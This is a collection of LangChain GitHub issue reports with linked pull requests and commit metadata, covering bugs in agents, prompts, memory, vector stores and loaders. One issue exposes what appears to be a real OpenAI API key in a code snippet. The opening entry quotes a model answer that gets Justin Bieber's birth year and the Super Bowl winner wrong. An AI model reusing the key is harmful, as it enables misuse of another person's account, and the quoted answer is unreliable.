"id": "cmpl-d64b69f6-cd50-41e9-8d1c-25b1a5859fac",
"object": "text_completion",
"created": 1682085552,
"model": "./models/ggml-alpaca-7b-native-q4.bin",
"choices": [
{
"text": "Question: What NFL team won the Super Bowl in the year Justin Bieber was born? Answer: Let's think step by step. Justin was born in 1985, so he was born in the same year as the Super Bowl victory of the Chicago Bears in 1986. So, the answer is the Chicago Bears!",
"index": 0,
"logprobs": null,
"finish_reason": "stop"
}
],
"usage": {
"prompt_tokens": 32,
"completion_tokens": 45,
"total_tokens": 77
}
}`
What could be the issue, encoding/decoding? | https://github.com/langchain-ai/langchain/issues/3301 | https://github.com/langchain-ai/langchain/pull/3320 | 3a1bdce3f51e302d468807e980455d676c0f5fd6 | 77bb6c99f7ee189ce3734c47b27e70dc237bbce7 | 2023-04-21T14:01:59Z | python | 2023-04-23T01:46:55Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,241 | ["langchain/llms/llamacpp.py"] | llama.cpp => model runs fine but bad output | Hi,
Windows 11 environement
Python: 3.10.11
I installed
- llama-cpp-python and it works fine and provides output
- transformers
- pytorch
Code run:
```
from langchain.llms import LlamaCpp
from langchain import PromptTemplate, LLMChain
template = """Question: {question}
Answer: Let's think step by step."""
prompt = PromptTemplate(template=template, input_variables=["question"])
llm = LlamaCpp(model_path=r"D:\Win10User\Downloads\AI\Model\vicuna-13B-1.1-GPTQ-4bit-128g.GGML.bin")
llm_chain = LLMChain(prompt=prompt, llm=llm)
question = "What is the capital of Belgium?"
llm_chain.run(question)
```
Output:
```
llama.cpp: loading model from D:\Win10User\Downloads\AI\Model\vicuna-13B-1.1-GPTQ-4bit-128g.GGML.bin
llama_model_load_internal: format = ggjt v1 (latest)
llama_model_load_internal: n_vocab = 32000
llama_model_load_internal: n_ctx = 512
llama_model_load_internal: n_embd = 5120
llama_model_load_internal: n_mult = 256
llama_model_load_internal: n_head = 40
llama_model_load_internal: n_layer = 40
llama_model_load_internal: n_rot = 128
llama_model_load_internal: ftype = 4 (mostly Q4_1, some F16)
llama_model_load_internal: n_ff = 13824
llama_model_load_internal: n_parts = 1
llama_model_load_internal: model size = 13B
llama_model_load_internal: ggml ctx size = 73.73 KB
llama_model_load_internal: mem required = 11749.65 MB (+ 3216.00 MB per state)
llama_init_from_file: kv self size = 800.00 MB
AVX = 1 | AVX2 = 1 | AVX512 = 0 | AVX512_VBMI = 0 | AVX512_VNNI = 0 | FMA = 1 | NEON = 0 | ARM_FMA = 0 | F16C = 1 | FP16_VA = 0 | WASM_SIMD = 0 | BLAS = 0 | SSE3 = 1 | VSX = 0 |
llama_print_timings: load time = 2154.68 ms
llama_print_timings: sample time = 75.88 ms / 256 runs ( 0.30 ms per run)
llama_print_timings: prompt eval time = 5060.58 ms / 23 tokens ( 220.03 ms per token)
llama_print_timings: eval time = 72461.40 ms / 255 runs ( 284.16 ms per run)
llama_print_timings: total time = 77664.50 ms
```
But there is no answer to the question.... Am I supposed to Print() something?
| https://github.com/langchain-ai/langchain/issues/3241 | https://github.com/langchain-ai/langchain/pull/3320 | 3a1bdce3f51e302d468807e980455d676c0f5fd6 | 77bb6c99f7ee189ce3734c47b27e70dc237bbce7 | 2023-04-20T20:36:45Z | python | 2023-04-23T01:46:55Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,157 | ["langchain/tools/base.py"] | Missing Observation and Thought prefix in output | The console output when running a tool is missing the "Observation" and "Thought" prefixes.
I noticed this when using the SQL Toolkit, but other tools are likely affected.
Here is the current INCORRECT output format:
```
> Entering new AgentExecutor chain...
Action: list_tables_sql_db
Action Input: ""invoice_items, invoices, tracks, sqlite_sequence, employees, media_types, sqlite_stat1, customers, playlists, playlist_track, albums, genres, artistsThere is a table called "employees" that I can query.
Action: schema_sql_db
Action Input: "employees"
```
Here is the expected output format:
```
> Entering new AgentExecutor chain...
Action: list_tables_sql_db
Action Input: ""
Observation: invoice_items, invoices, tracks, sqlite_sequence, employees, media_types, sqlite_stat1, customers, playlists, playlist_track, albums, genres, artists
Thought:There is a table called "employees" that I can query.
Action: schema_sql_db
Action Input: "employees"
```
Note: this appears to only affect the console output. The `agent_scratchpad` is updated correctly with the "Observation" and "Thought" prefixes. | https://github.com/langchain-ai/langchain/issues/3157 | https://github.com/langchain-ai/langchain/pull/3158 | 126d7f11dd17a8ea71a4427951f10cefc862ba3a | 0b542661b46d42ee501c6681a4519f2c4e76de23 | 2023-04-19T15:15:26Z | python | 2023-04-19T16:00:10Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,117 | ["libs/langchain/langchain/chains/question_answering/refine_prompts.py", "libs/langchain/langchain/chains/summarize/refine_prompts.py"] | Missing new lines or empty spaces in refine default prompt. | I'm not sure if it's a typo or not but the default prompt in [langchain](https://github.com/hwchase17/langchain/tree/master/langchain)/[langchain](https://github.com/hwchase17/langchain/tree/master/langchain)/[chains](https://github.com/hwchase17/langchain/tree/master/langchain/chains)/[summarize](https://github.com/hwchase17/langchain/tree/master/langchain/chains/summarize)/[refine_prompts.py](https://github.com/hwchase17/langchain/tree/master/langchain/chains/summarize/refine_prompts.py) seems to miss a empty string or a `\n `
```
REFINE_PROMPT_TMPL = (
"Your job is to produce a final summary\n"
"We have provided an existing summary up to a certain point: {existing_answer}\n"
"We have the opportunity to refine the existing summary"
"(only if needed) with some more context below.\n"
"------------\n"
"{text}\n"
"------------\n"
"Given the new context, refine the original summary"
"If the context isn't useful, return the original summary."
)
```
It will produce `refine the original summaryIf the context isn't useful` and `existing summary(only if needed)`
I could proabbly fix it with a PR ( if it's unintentionnal), but I prefer to let someone more competent to do it as i'm not used to create PR's in large projects like this. | https://github.com/langchain-ai/langchain/issues/3117 | https://github.com/langchain-ai/langchain/pull/9957 | 4b1532876710e08aa70cdd0d52b18084f85eaed3 | 29270e0378661fe3d5a77cbe95311f9d4b5d33e8 | 2023-04-18T22:32:58Z | python | 2023-08-31T14:29:49Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,077 | ["docs/modules/models/llms/integrations/huggingface_hub.ipynb", "docs/modules/models/llms/integrations/huggingface_pipelines.ipynb"] | Error `can only concatenate str (not "tuple") to str` when using `ConversationBufferWindowMemory` | I'm facing a weird issue with the `ConversationBufferWindowMemory`
Running `memory.load_memory_variables({})` prints:
```
{'chat_history': [HumanMessage(content='Hi my name is Ismail', additional_kwargs={}), AIMessage(content='Hello Ismail! How can I assist you today?', additional_kwargs={})]}
```
The error I get after sending a second message to the chain is:
```
> Entering new ConversationalRetrievalChain chain...
[2023-04-18 10:34:52,512] ERROR in app: Exception on /api/v1/chat [POST]
Traceback (most recent call last):
File "/Users/homanp/Projects/ADGPT_ENV/lib/python3.9/site-packages/flask/app.py", line 2528, in wsgi_app
response = self.full_dispatch_request()
File "/Users/homanp/Projects/ADGPT_ENV/lib/python3.9/site-packages/flask/app.py", line 1825, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/Users/homanp/Projects/ADGPT_ENV/lib/python3.9/site-packages/flask/app.py", line 1823, in full_dispatch_request
rv = self.dispatch_request()
File "/Users/homanp/Projects/ADGPT_ENV/lib/python3.9/site-packages/flask/app.py", line 1799, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)
File "/Users/homanp/Projects/ad-gpt/app.py", line 46, in chat
result = chain({"question": message, "chat_history": []})
File "/Users/homanp/Projects/ADGPT_ENV/lib/python3.9/site-packages/langchain/chains/base.py", line 116, in __call__
raise e
File "/Users/homanp/Projects/ADGPT_ENV/lib/python3.9/site-packages/langchain/chains/base.py", line 113, in __call__
outputs = self._call(inputs)
File "/Users/homanp/Projects/ADGPT_ENV/lib/python3.9/site-packages/langchain/chains/conversational_retrieval/base.py", line 71, in _call
chat_history_str = get_chat_history(inputs["chat_history"])
File "/Users/homanp/Projects/ADGPT_ENV/lib/python3.9/site-packages/langchain/chains/conversational_retrieval/base.py", line 25, in _get_chat_history
human = "Human: " + human_s
TypeError: can only concatenate str (not "tuple") to str
```
Current implementaion:
```
memory = ConversationBufferWindowMemory(memory_key='chat_history', k=2, return_messages=True)
chain = ConversationalRetrievalChain.from_llm(model,
memory=memory,
verbose=True,
retriever=retriever,
qa_prompt=QA_PROMPT,
condense_question_prompt=CONDENSE_QUESTION_PROMPT,)
``` | https://github.com/langchain-ai/langchain/issues/3077 | https://github.com/langchain-ai/langchain/pull/3187 | 6adf2d1c39ca4e157377f20d3029d062342093e6 | c757c3cde45a24e0cd6a3ebe6bb0f8176cae4726 | 2023-04-18T08:38:57Z | python | 2023-04-20T00:08:10Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,057 | ["langchain/agents/chat/output_parser.py"] | Error when parsing code from LLM response ValueError: Could not parse LLM output: | Sometimes the LLM response (generated code) tends to miss the ending ticks "```". Therefore causing the text parsing to fail due to `not enough values to unpack`.
Suggest to simply the `_, action, _' to just `action` then with index
Error message below
```
> Entering new AgentExecutor chain...
Traceback (most recent call last):
File "E:\open_source_contrib\langchain-venv\lib\site-packages\langchain\agents\chat\output_parser.py", line 17, in parse
_, action, _ = text.split("```")
ValueError: not enough values to unpack (expected 3, got 2)
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "E:\open_source_contrib\test.py", line 67, in <module>
agent_msg = agent.run(prompt_template)
File "E:\open_source_contrib\langchain-venv\lib\site-packages\langchain\chains\base.py", line 213, in run
return self(args[0])[self.output_keys[0]]
File "E:\open_source_contrib\langchain-venv\lib\site-packages\langchain\chains\base.py", line 116, in __call__
raise e
File "E:\open_source_contrib\langchain-venv\lib\site-packages\langchain\chains\base.py", line 113, in __call__
outputs = self._call(inputs)
File "E:\open_source_contrib\langchain-venv\lib\site-packages\langchain\agents\agent.py", line 792, in _call
next_step_output = self._take_next_step(
File "E:\open_source_contrib\langchain-venv\lib\site-packages\langchain\agents\agent.py", line 672, in _take_next_step
output = self.agent.plan(intermediate_steps, **inputs)
File "E:\open_source_contrib\langchain-venv\lib\site-packages\langchain\agents\agent.py", line 385, in plan
return self.output_parser.parse(full_output)
File "E:\open_source_contrib\langchain-venv\lib\site-packages\langchain\agents\chat\output_parser.py", line 23, in parse
raise ValueError(f"Could not parse LLM output: {text}")
ValueError: Could not parse LLM output: Question: How do I put the given data into a pandas dataframe and save it into a csv file at the specified path?
Thought: I need to use the Python REPL tool to import pandas, create a dataframe with the given data, and then use the to_csv method to save it to the specified file path.
Action:
```
{
"action": "Python REPL",
"action_input": "import pandas as pd\n\n# create dataframe\ndata = {\n 'Quarter': ['Q4-2021', 'Q1-2022', 'Q2-2022', 'Q3-2022', 'Q4-2022'],\n 'EPS attributable to common stockholders, diluted (GAAP)': [1.07, 0.95, 0.76, 0.95, 1.07],\n 'EPS attributable to common stockholders, diluted (non-GAAP)': [1.19, 1.05, 0.85, 1.05, 1.19]\n}\ndf = pd.DataFrame(data)\n\n# save to csv\ndf.to_csv('E:\\\\open_source_contrib\\\\output\\\\agent_output.xlsx', index=False)"
}
(langchain-venv) PS E:\open_source_contrib>
``` | https://github.com/langchain-ai/langchain/issues/3057 | https://github.com/langchain-ai/langchain/pull/3058 | db968284f8f3964630f119c95cca923f112ad47b | 2984ad39645c80411cee5e7f77a3c116b88d008e | 2023-04-18T04:13:20Z | python | 2023-04-18T04:42:13Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,944 | ["langchain/chains/combine_documents/base.py", "langchain/chains/combine_documents/refine.py", "langchain/chains/combine_documents/stuff.py", "tests/unit_tests/chains/test_combine_documents.py"] | Question Answering over Docs giving cryptic error upon query | After ingesting some markdown files using a slightly modified version of the question-answering over docs example, I ran the qa.py script as it was in the example
```
# qa.py
import faiss
from langchain import OpenAI, HuggingFaceHub, LLMChain
from langchain.chains import VectorDBQAWithSourcesChain
import pickle
import argparse
parser = argparse.ArgumentParser(description='Ask a question to the notion DB.')
parser.add_argument('question', type=str, help='The question to ask the notion DB')
args = parser.parse_args()
# Load the LangChain.
index = faiss.read_index("docs.index")
with open("faiss_store.pkl", "rb") as f:
store = pickle.load(f)
store.index = index
chain = VectorDBQAWithSourcesChain.from_llm(llm=OpenAI(temperature=0), vectorstore=store)
result = chain({"question": args.question})
print(f"Answer: {result['answer']}")
```
Only to get this cryptic error
```
Traceback (most recent call last):
File "C:\Users\ahmad\OneDrive\Desktop\Coding\LANGCHAINSSSSSS\notion-qa\qa.py", line 22, in <module>
result = chain({"question": args.question})
File "C:\Users\ahmad\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\langchain\chains\base.py", line 146, in __call__
raise e
File "C:\Users\ahmad\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\langchain\chains\base.py", line 142, in __call__
outputs = self._call(inputs)
File "C:\Users\ahmad\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\langchain\chains\qa_with_sources\base.py", line 97, in _call
answer, _ = self.combine_document_chain.combine_docs(docs, **inputs)
File "C:\Users\ahmad\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\langchain\chains\combine_documents\map_reduce.py", line 150, in combine_docs
num_tokens = length_func(result_docs, **kwargs)
File "C:\Users\ahmad\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\langchain\chains\combine_documents\stuff.py", line 77, in prompt_length
inputs = self._get_inputs(docs, **kwargs)
File "C:\Users\ahmad\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\langchain\chains\combine_documents\stuff.py", line 64, in _get_inputs
document_info = {
File "C:\Users\ahmad\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\langchain\chains\combine_documents\stuff.py", line 65, in <dictcomp>
k: base_info[k] for k in self.document_prompt.input_variables
KeyError: 'source'
```
Here is the code I used for ingesting
|
```
"""This is the logic for ingesting Notion data into LangChain."""
from pathlib import Path
from langchain.text_splitter import CharacterTextSplitter
import faiss
from langchain.vectorstores import FAISS
from langchain.embeddings import OpenAIEmbeddings
import pickle
import time
from tqdm import tqdm
# Here we load in the data in the format that Notion exports it in.
folder = list(Path("Notion_DB/").glob("**/*.md"))
files = []
sources = []
for myFile in folder:
with open(myFile, 'r', encoding='utf-8') as f:
print(myFile.name)
files.append(f.read())
sources.append(myFile)
# Here we split the documents, as needed, into smaller chunks.
# We do this due to the context limits of the LLMs.
text_splitter = CharacterTextSplitter(chunk_size=800, separator="\n")
docs = []
metadatas = []
for i, f in enumerate(files):
splits = text_splitter.split_text(f)
docs.extend(splits)
metadatas.extend([{"source": sources[i]}] * len(splits))
# Add each element in docs into FAISS store, keeping a delay between inserting elements so we don't exceed rate limit
store = None
for (index, chunk) in tqdm(enumerate(docs)):
if index == 0:
store = FAISS.from_texts([chunk], OpenAIEmbeddings())
else:
time.sleep(1) # wait for a second to not exceed any rate limits
store.add_texts([chunk])
# print('finished with index '+index.__str__())
print('Done yayy!')
# # Here we create a vector store from the documents and save it to disk.
faiss.write_index(store.index, "docs.index")
store.index = None
with open("faiss_store.pkl", "wb") as f:
pickle.dump(store, f)
```
| https://github.com/langchain-ai/langchain/issues/2944 | https://github.com/langchain-ai/langchain/pull/3026 | 3453b7457ca60227430d85e6f6f58a2aafae559d | 19c85aa9907765c0a2dbe7c46e9d5dd2d6df0f30 | 2023-04-15T15:38:36Z | python | 2023-04-18T03:28:01Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,938 | ["libs/langchain/langchain/agents/agent_toolkits/openapi/planner.py"] | Allow OpenAPI planner to respect URLs with placeholders | In OpenAPI documentation, an endpoint might include a placeholder for a parameter:
```
GET /states/{abbr}
```
Currently, exact matches are needed with OpenAPI Planner to retrieve documentation. In the example above, `GET /states/FL` would receive a `ValueError(f"{endpoint_name} endpoint does not exist.")`.
| https://github.com/langchain-ai/langchain/issues/2938 | https://github.com/langchain-ai/langchain/pull/2940 | e42a576cb2973e36f310e1db45d75b8fa5ba9cf6 | 48cf9783913077fdad7c26752c7a70b20b57fb30 | 2023-04-15T13:54:15Z | python | 2023-10-12T23:20:32Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,905 | ["langchain/document_loaders/git.py"] | Ignore files from `.gitignore` in Git loader | those files may be `node_modules` or `.pycache` files or sensitive env files, all of which should be ignored by default | https://github.com/langchain-ai/langchain/issues/2905 | https://github.com/langchain-ai/langchain/pull/2909 | 7ee87eb0c8df10315b45ebbddcad36a72b7fe7b9 | 66bef1d7ed17f00e7b554ca5413e336970489253 | 2023-04-14T17:08:38Z | python | 2023-04-14T22:02:21Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,887 | ["langchain/callbacks/openai_info.py", "langchain/llms/openai.py"] | About fine tune model | I have fine tuned curie model of OPEN AI on sample text data and i used that model in
llm = OpenAI(
temperature=0.7,
openai_api_key='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',
model_name="curie:ft-personal-2023-03-31-05-59-15"#"text-davinci-003"#""#'' # can be used with llms like 'gpt-3.5-turbo'
)
after run the script i am getting an error
ValueError: Unknown model: curie:ft-personal-2023-03-31-05-59-15. Please provide a valid OpenAI model name.Known models are: gpt-4, gpt-4-0314, gpt-4-completion, gpt-4-0314-completion, gpt-4-32k, gpt-4-32k-0314, gpt-4-32k-completion, gpt-4-32k-0314-completion, gpt-3.5-turbo, gpt-3.5-turbo-0301, text-ada-001, ada, text-babbage-001, babbage, text-curie-001, curie, text-davinci-003, text-davinci-002, code-davinci-002
i have give a correct name of fine tune model. what is the issue. can anyone help me to solve this? | https://github.com/langchain-ai/langchain/issues/2887 | https://github.com/langchain-ai/langchain/pull/5127 | 7a75bb21219b605cfd3cad30cc978eb9fb53c479 | 5002f3ae35070f2ba903bccb7b1028595e3c626a | 2023-04-14T10:54:55Z | python | 2023-05-23T18:18:03Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,874 | ["langchain/agents/loading.py"] | Redundunt piece of code | In Agents -> loading.py on line 40 there is a redundant piece of code.
```
if config_type not in AGENT_TO_CLASS:
raise ValueError(f"Loading {config_type} agent not supported")
``` | https://github.com/langchain-ai/langchain/issues/2874 | https://github.com/langchain-ai/langchain/pull/2934 | b40f90ea042b20440cb7c1a9e70a6e4cd4a0089c | ae7ed31386c10cee1683419a4ab45562830bf8eb | 2023-04-14T05:28:42Z | python | 2023-04-18T04:05:48Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,842 | ["docs/modules/indexes/vectorstores/examples/annoy.ipynb", "langchain/vectorstores/__init__.py", "langchain/vectorstores/annoy.py", "tests/integration_tests/vectorstores/test_annoy.py"] | Add Annoy as VectorStore | Adds Annoy index as VectorStore: https://github.com/spotify/annoy
Annoy might be useful in situations where a "read only" vector store is required/sufficient.
context: https://discord.com/channels/1038097195422978059/1051632794427723827/1096089994168377354 | https://github.com/langchain-ai/langchain/issues/2842 | https://github.com/langchain-ai/langchain/pull/2939 | e12e00df12c6830cd267df18e96fda1ef8df6c7a | a9310a3e8b6781bdc8f64a379eb844f8c8154584 | 2023-04-13T17:10:45Z | python | 2023-04-16T20:44:04Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,715 | ["langchain/output_parsers/fix.py", "langchain/output_parsers/pydantic.py", "langchain/output_parsers/retry.py", "langchain/output_parsers/structured.py", "langchain/schema.py", "tests/unit_tests/output_parsers/test_pydantic_parser.py"] | Better type hints for OutputParser | I'm proposing modifying the PydanticOutputParsers such that they are generic on the pydantic object passed in to the constructor, so we can get type hints on the resulting pydantic objects that are returned by `parse`.
E.g
```
class TestOutput(BaseModel):
output: str = ...
output_parser = PydanticOutputParser(TestOutput)
parsed = output_parser.parse(...) # right now this is typed as BaseModel, but it'd be better if it was TestOutput
```
I haven't looked in-depth but I think it's likely we can type the other parsers with similar fidelity.
I'm happy to take this one if it's agreed that this is a useful change. | https://github.com/langchain-ai/langchain/issues/2715 | https://github.com/langchain-ai/langchain/pull/2769 | 789cc314c5987a4d3ba5a5e8819d889036974966 | 59d054308c850da1a61fc9621385182c7459120d | 2023-04-11T14:20:29Z | python | 2023-04-12T16:12:20Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,699 | ["langchain/vectorstores/faiss.py"] | How to delete or update a document within a FAISS index? | Hi,
I have a usecase where i have to fetch Edited posts weekly from community and update the docs within FAISS index.
is that possible? or do i have to keep deleting and create new index everytime?
Also i use RecursiveCharacterTextSplitter to split docs.
```
loader = DirectoryLoader('./recent_data')
raw_documents = loader.load()
#Splitting documents into chunks
text_splitter = RecursiveCharacterTextSplitter(
chunk_size=1000,
chunk_overlap=200,
)
documents = text_splitter.split_documents(raw_documents)
print(len(documents))
# Changing source to point to the original document
for x in documents:
print(x.metadata["source"])
# Creating index and saving it to disk
print("Creating index")
db_new = FAISS.from_documents(documents, embeddings )
```
this is output if i use ` print(db_new .docstore._dict)`
`{'2d9b6fbf-a44d-46b5-bcdf-b45cd9438a4c': Document(page_content='<p dir="auto">This is a test topic.</p>', metadata={'source': 'recent/https://community.tpsonline.com/topic/587/ignore-test-topic'}), '706dcaf8-f9d9-45b9-bdf4-8a8ac7618229': Document(page_content='What is an SDD?\n\n<p dir="auto">A software design description (a.k.a. software design document or SDD; just design document; also Software Design Specification) is a representation of a software design that is to be used for recording design information, addressing various design concerns, and communicating that information to the different stakeholders.</p>\n\n<p dir="auto">This SDD template represent design w.r.t various software viewpoints, where each viewpoint will handle specific concerns of Design. This is based on <strong>ISO 42010 standard</strong>.</p>\n\nIntroduction\n\n<p dir="auto">[Name/brief description of feature for which SDD is being Produced]</p>\n\n1. Context Viewpoint\n\n<p dir="auto">[Describes the relationships, dependencies, and interactions between the system and its environment ]</p>\n\n1.1 Use Cases\n\n1.1.1 AS IS (Pre Condition)\n\n1.1.2 TO - BE (Post Condition)\n\n1.2 System Context View\n\n1.2.1 - AS IS (Pre Condition)\n\n1.2.2 TO - BE (Post Condition)\n\n2. Logical Viewpoint', metadata={'source': 'recent/https://community.tpsonline.com/topic/586/software-design-description-sdd-template'}), '4d6d4e6b-01ee-46bb-ae06-84514a51baf2': Document(page_content='1.1 Use Cases\n\n1.1.1 AS IS (Pre Condition)\n\n1.1.2 TO - BE (Post Condition)\n\n1.2 System Context View\n\n1.2.1 - AS IS (Pre Condition)\n\n1.2.2 TO - BE (Post Condition)\n\n2. Logical Viewpoint\n\n<p dir="auto">[The purpose of the Logical viewpoint is to elaborate existing and designed types and their implementations as classes and interfaces with their structural static relationships]</p>\n\n2.1 Class Diagram\n\n2.1.1 AS - IS (Pre Condition)\n\n2.1.2 TO - BE (Post Condition)\n\n2.1.2.1 Class Interfaces and description\n\n<p dir="auto">[Below is being presented as an example]<br />\n\n[This section should tell about the responsibility of each class method and their parameters too if required]</p>\n\n2.1.2.1.1 IRenewProcess\n\nMethod\n\nDescription\n\nprocessRenewal\n\nMethod to process renewal of a given cardEntity. Each concrete class that will implement the interface will implement its own version of renewal steps\n\n2.1.2.1.1 RenewStrategyContext (static class)\n\nMethod\n\nDescription\n\n(private)getRenewalMethod', metadata={'source': 'recent/https://community.tpsonline.com/topic/586/software-design-description-sdd-template'})}`
so will i be able to update docs within index or is it just not possible? | https://github.com/langchain-ai/langchain/issues/2699 | https://github.com/langchain-ai/langchain/pull/5190 | f0ea093de867e5f099a4b5de2bfa24d788b79133 | 40b086d6e891a3cd1e678b1c8caac23b275d485c | 2023-04-11T06:33:19Z | python | 2023-05-25T05:26:46Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,698 | ["langchain/document_loaders/pdf.py"] | Permission Error with PDF loader | I was testing OnlinePDFLoader yesterday iirc and it was working fine. Today I tried experimenting and I keep getting this error
`PermissionError: [Errno 13] Permission denied: 'C:\\Users\\REALGL~1\\AppData\\Local\\Temp\\tmp3chr08y0`
it may be occurring because the `tempfile.NamedTemporaryFile()` in `pdf.py` is still open when the PDF partitioning function is trying to access it | https://github.com/langchain-ai/langchain/issues/2698 | https://github.com/langchain-ai/langchain/pull/6170 | 4fc7939848a600064dc20b44e86c19e2cfa01491 | 5be465bd86f940cf831e3a4d2841d92ce8699ffb | 2023-04-11T06:17:16Z | python | 2023-06-18T23:39:57Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,695 | ["langchain/vectorstores/weaviate.py", "tests/integration_tests/vectorstores/cassettes/test_weaviate/TestWeaviate.test_max_marginal_relevance_search.yaml", "tests/integration_tests/vectorstores/cassettes/test_weaviate/TestWeaviate.test_max_marginal_relevance_search_by_vector.yaml", "tests/integration_tests/vectorstores/cassettes/test_weaviate/TestWeaviate.test_max_marginal_relevance_search_with_filter.yaml", "tests/integration_tests/vectorstores/cassettes/test_weaviate/TestWeaviate.test_similarity_search_with_metadata.yaml", "tests/integration_tests/vectorstores/cassettes/test_weaviate/TestWeaviate.test_similarity_search_with_metadata_and_filter.yaml", "tests/integration_tests/vectorstores/cassettes/test_weaviate/TestWeaviate.test_similarity_search_without_metadata.yaml", "tests/integration_tests/vectorstores/test_weaviate.py"] | Allow Weaviate initialization with alternative embedding implementation | I would like to provide an 'embeddings' parameter for the initialization of the Weaviate vector store, as I do not want to start the Weaviate server with the OpenAI key in order to make use of embeddings through the Azure OpenAI Service.
The addition of the embeddings parameter affects the __init__ method, as shown in the code snippet above. To accommodate this change, you'll also need to modify the add_texts method.
```python
def __init__(
self,
client: Any,
index_name: str,
text_key: str,
embedding_function: Optional[Embeddings] = None,
attributes: Optional[List[str]] = None,
):
"""Initialize with Weaviate client."""
try:
import weaviate
except ImportError:
raise ValueError(
"Could not import weaviate python package. "
"Please install it with `pip install weaviate-client`."
)
if not isinstance(client, weaviate.Client):
raise ValueError(
f"client should be an instance of weaviate.Client, got {type(client)}"
)
self._client = client
self._index_name = index_name
self._text_key = text_key
self._embedding_function = embedding_function
self._query_attrs = [self._text_key]
if attributes is not None:
self._query_attrs.extend(attributes)
```
To check if the embeddings parameter was provided during initialization and perform the necessary actions, you can modify the add_texts method in the following way:
```python
def add_texts(
self,
texts: Iterable[str],
metadatas: Optional[List[dict]] = None,
**kwargs: Any,
) -> List[str]:
"""Upload texts with metadata (properties) to Weaviate."""
from weaviate.util import get_valid_uuid
with self._client.batch as batch:
ids = []
for i, doc in enumerate(texts):
data_properties = {
self._text_key: doc,
}
if metadatas is not None:
for key in metadatas[i].keys():
data_properties[key] = metadatas[i][key]
_id = get_valid_uuid(uuid4())
if self._embedding_function is not None:
embeddings = self._embedding_function.embed_documents(list(doc))
batch.add_data_object(data_properties, self._index_name, _id, vector=embeddings[0])
else:
batch.add_data_object(data_properties, self._index_name, _id)
ids.append(_id)
return ids
``` | https://github.com/langchain-ai/langchain/issues/2695 | https://github.com/langchain-ai/langchain/pull/3608 | 615812581ea3175b3ae9ec59036008d013052396 | 440c98e24bf3f18c132694309872592ef550e1bc | 2023-04-11T05:19:00Z | python | 2023-04-27T04:45:03Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,677 | ["langchain/chat_models/openai.py"] | Langchain should use tiktoken tokenizer for python 3.8 | I noticed that `langchain` will not try to use the `tiktoken` tokenizer if python version is 3.8 and will switch to Hugging Face tokenizer instead ([see line 331 here](https://github.com/hwchase17/langchain/blob/master/langchain/chat_models/openai.py)). It assumes that `tiktoken` does not support python 3.8. However this does not seem to be the case (see [line 10 here](https://github.com/openai/tiktoken/blob/main/pyproject.toml)). | https://github.com/langchain-ai/langchain/issues/2677 | https://github.com/langchain-ai/langchain/pull/2709 | 186ca9d3e485f3209aa6b465377a46c23fb98c87 | f435f2267c015ffd97ff5eea9ad8c8051ea0dc0f | 2023-04-10T18:40:46Z | python | 2023-04-11T18:02:28Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,624 | ["docs/modules/models/text_embedding/examples/azureopenai.ipynb"] | Missing import in AzureOpenAI embedding example | ## What's the issue?
Missing import statement (for `OpenAIEmbeddings`) in AzureOpenAI embeddings example.
<img width="1027" alt="Screenshot 2023-04-09 at 8 06 04 PM" src="https://user-images.githubusercontent.com/19938474/230779010-e7935543-6ae7-477c-872d-8a5220fc60c9.png">
https://github.com/hwchase17/langchain/blob/5376799a2307f03c9fdac7fc5f702749d040a360/docs/modules/models/text_embedding/examples/azureopenai.ipynb
## Expected behaviour
Import `from langchain.embeddings import OpenAIEmbeddings` before using creating an embedding object. | https://github.com/langchain-ai/langchain/issues/2624 | https://github.com/langchain-ai/langchain/pull/2625 | 0f5d3b339009f0bc0d5a59356e82870d9f0f15d6 | 9aed565f130b44a6e6287ac572be6be26f064f71 | 2023-04-09T14:38:44Z | python | 2023-04-09T19:25:31Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,500 | ["docs/modules/indexes/vectorstores/examples/opensearch.ipynb", "langchain/vectorstores/opensearch_vector_search.py"] | OpenSearchVectorSearch doesn't permit the user to specify a field name | Currently the `OpenSearchVectorSearch` class [defaults to `vector_field`](https://github.com/hwchase17/langchain/blob/26314d7004f36ca01f2c843a3ac38b166c9d2c44/langchain/vectorstores/opensearch_vector_search.py#L189) as the field name of the vector field in all vector similarity searches.
